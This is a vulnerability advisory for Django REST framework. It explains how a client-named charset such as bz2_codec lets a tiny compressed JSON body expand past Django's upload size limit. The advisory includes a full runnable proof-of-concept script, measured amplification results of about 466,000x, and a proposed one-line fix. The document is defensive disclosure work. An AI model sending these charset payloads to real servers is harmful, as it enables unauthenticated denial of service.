Django REST framework: JSONParser applies an attacker-named codec to the request stream

FormParser (parsers.py:84) and MultiPartParser (parsers.py:104-118) take the same client-named encoding but fail closed instead of amplifying.

The sink was introduced by 9a228116 (PR #5147, 2017-05-24, "Improve memory footprint when reading large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended memory gain does not hold because read() decodes the whole stream, which is the same property that makes this expansion unbounded. No _is_text_encoding check has been added since.

A one-line fix at parsers.py:61-64:

if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')

PoC

Save as poc_charset_amplification.py and run it. It builds its own payloads, runs each arm in a fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports near-zero growth for every arm after the first), and prints a verdict.

#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.

  T   ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
  C1  48 MiB plaintext,   Content-Type: application/json   (no charset)
  C2  the byte-identical T body, charset=utf-8
  C3  zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit.
    python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
    "T": ("bz2.bin", "application/json; charset=bz2_codec"),
    "C1": ("plain.bin", "application/json"),
    "C2": ("bz2.bin", "application/json; charset=utf-8"),
    "C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
    "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
    "C1": "rejected with RequestDataTooBig, view body never runs",
    "C2": "HTTP 400 ParseError on the byte-identical compressed body",
    "C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []


def build_payloads():
    import bz2
    import zlib

    os.makedirs(PAYLOAD_DIR, exist_ok=True)
    plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
    blobs = {
        "plain.bin": plain,
        "bz2.bin": bz2.compress(plain, 9),
        "zlib.bin": zlib.compress(plain, 9),
    }
    for name, blob in blobs.items():
        with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
            fh.write(blob)
    return {name: len(blob) for name, blob in blobs.items()}


def configure_django():
    from django.conf import settings

    settings.configure(
        DEBUG=False,
        ALLOWED_HOSTS=["testserver"],
        SECRET_KEY="poc",
        ROOT_URLCONF=__name__,
        MIDDLEWARE=[],
        INSTALLED_APPS=[
            "django.contrib.contenttypes",
            "django.contrib.auth",
            "rest_framework",
        ],
        DATABASES={
            "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
        },
        DEFAULT_CHARSET="utf-8",
        DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
        LOGGING_CONFIG=None,
        USE_TZ=True,
    )
    import django

    django.setup()


def build_view():
    from rest_framework.response import Response
    from rest_framework.views import APIView

    class Echo(APIView):
        authentication_classes = []
        permission_classes = []

        def post(self, request):
            data = request.data
            VIEW_RAN.append(True)
            value = data.get("a") if isinstance(data, dict) else None
            return Response(
                {"parsed_value_len": len(value) if isinstance(value, str) else None}
            )

    return Echo


def __getattr__(name):
    # ROOT_URLCONF points at this module; build urlpatterns lazily.
    if name == "urlpatterns":
        from django.urls import path

        value = [path("x", build_view().as_view())]
        globals()["urlpatterns"] = value
        return value
    raise AttributeError(name)


def peak_rss_kib():
    """Peak resident size of this process. /proc is used where available because
    ru_maxrss does not track the calling process on every kernel."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmHWM:"):
                    return int(line.split(":")[1].strip().split()[0])
    except OSError:
        pass
    import resource

    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss


def run_arm(arm):
    payload_name, content_type = ARMS[arm]
    with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
        body = fh.read()

    configure_django()
    from django.test import Client, RequestFactory

    client = Client(raise_request_exception=False)
    # Warm every lazily imported module so the delta measures the request only.
    client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
    VIEW_RAN.clear()

    before = peak_rss_kib()
    response = client.generic("POST", "/x", data=body, content_type=content_type)
    after = peak_rss_kib()

    parsed_len = None
    if response.status_code == 200:
        try:
            parsed_len = json.loads(response.content).get("parsed_value_len")
        except ValueError:
            pass

    # Second reading via a bare RequestFactory so the exception class is visible
    # directly instead of inferred from a status code.
    request = RequestFactory().generic(
        "POST", "/x", data=body, content_type=content_type
    )
    try:
        direct = {"status_code": build_view().as_view()(request).status_code}
    except BaseException as exc:  # noqa: BLE001 - naming the class is the point
        direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"}

    return {
        "arm": arm,
        "content_type": content_type,
        "transmitted_bytes": len(body),
        "body_sha256": hashlib.sha256(body).hexdigest(),
        "status_code": response.status_code,
        "view_body_executed": bool(VIEW_RAN),
        "parsed_value_len": parsed_len,
        "amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
        "peak_rss_delta_mib": round((after - before) / 1024.0, 1),
        "direct_dispatch": direct,
    }


def check(arm, r):
    if arm in ("T", "C3"):
        return (
            r["status_code"] == 200
            and r["view_body_executed"]
            and r["parsed_value_len"] == PAYLOAD_CHARS
            and r["amplification_ratio"] >= 700
        )
    if arm == "C1":
        return (
            r["status_code"] != 200
            and not r["view_body_executed"]
            and r["direct_dispatch"].get("exception")
            == "django.core.exceptions.RequestDataTooBig"
        )
    if arm == "C2":
        return r["status_code"] == 400 and not r["view_body_executed"]
    raise AssertionError(arm)


def main():
    if "--arm" in sys.argv:
        print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
        return 0

    sizes = build_payloads()
    print(f"# payload sizes: {sizes}")
    print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
    print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n")

    ok = True
    results = {}
    for arm in ("T", "C1", "C2", "C3"):
        proc = subprocess.run(
            [sys.executable, os.path.abspath(__file__), "--arm", arm],
            capture_output=True,
            text=True,
        )
        if proc.returncode != 0:
            print(f"{arm}: harness failed\n{proc.stderr}")
            return 2
        r = json.loads(proc.stdout.strip().splitlines()[-1])
        results[arm] = r
        passed = check(arm, r)
        ok = ok and passed
        print(f"=== {arm}  [{'as described' if passed else 'NOT as described'}]")
        print(f"    expected: {EXPECTED[arm]}")
        print(json.dumps(r, indent=6))
        print()

    print("=== summary")
    for arm, r in results.items():
        print(
            f"    {arm:3} wire={r['transmitted_bytes']:>9}B  status={r['status_code']}  "
            f"parsed_len={r['parsed_value_len']}  ratio={r['amplification_ratio']}  "
            f"peak_rss_delta={r['peak_rss_delta_mib']} MiB  view_ran={r['view_body_executed']}"
        )
    print(f"\n    T and C1 and C2: {'all held' if ok else 'NOT all held'}")
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())

Observed output, abbreviated to the summary block:

# payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
# DATA_UPLOAD_MAX_MEMORY_SIZE = 65536
# JSON string value under test: 50331648 characters

=== summary
    T   wire=      108B  status=200  parsed_len=50331648  ratio=466033.8  peak_rss_delta=96.8 MiB  view_ran=True
    C1  wire= 50331656B  status=400  parsed_len=None      ratio=None      peak_rss_delta=48.3 MiB  view_ran=False
    C2  wire=      108B  status=400  parsed_len=None      ratio=None      peak_rss_delta=0.0 MiB   view_ran=False
    C3  wire=    48941B  status=200  parsed_len=50331648  ratio=1028.4    peak_rss_delta=95.2 MiB  view_ran=True

    T and C1 and C2: all held

C1 establishes that the size limit is live and configured, so the 200 in T is a defeated guard and not an absent one. C1 reports its own RSS growth because the client holds the 48 MiB body before the limit rejects it, which is client-side cost and never reaches the view. C2 carries most of the weight: its body is byte-identical to T, and only the codec name differs. RSS figures vary by a few MiB between runs.

Repeating all four arms on Django 5.2.17 LTS gave 109 wire bytes to 50,331,648 characters, 461,758x, with C1 and C2 both holding.

One note if you re-implement the request yourself: use Client.generic() or RequestFactory().generic(). Both Client.post() and RequestFactory.post() push the body through force_bytes(data, encoding=<charset>) (django/test/client.py:438-447), which destroys a compressed payload before the parser sees it.

Impact

Unauthenticated denial of service through memory amplification, against any endpoint that accepts a JSON body with the default parser set. Every deployment on 3.6.4 or later is affected, and no application code or configuration choice opts into it. Memory is per-request and released afterwards, which is why this is rated on availability alone rather than as Critical, but the amplification factor means a small number of concurrent requests can exhaust a worker. A few hundred bytes allocates hundreds of megabytes, and nothing in DRF or Django bounds the expanded size.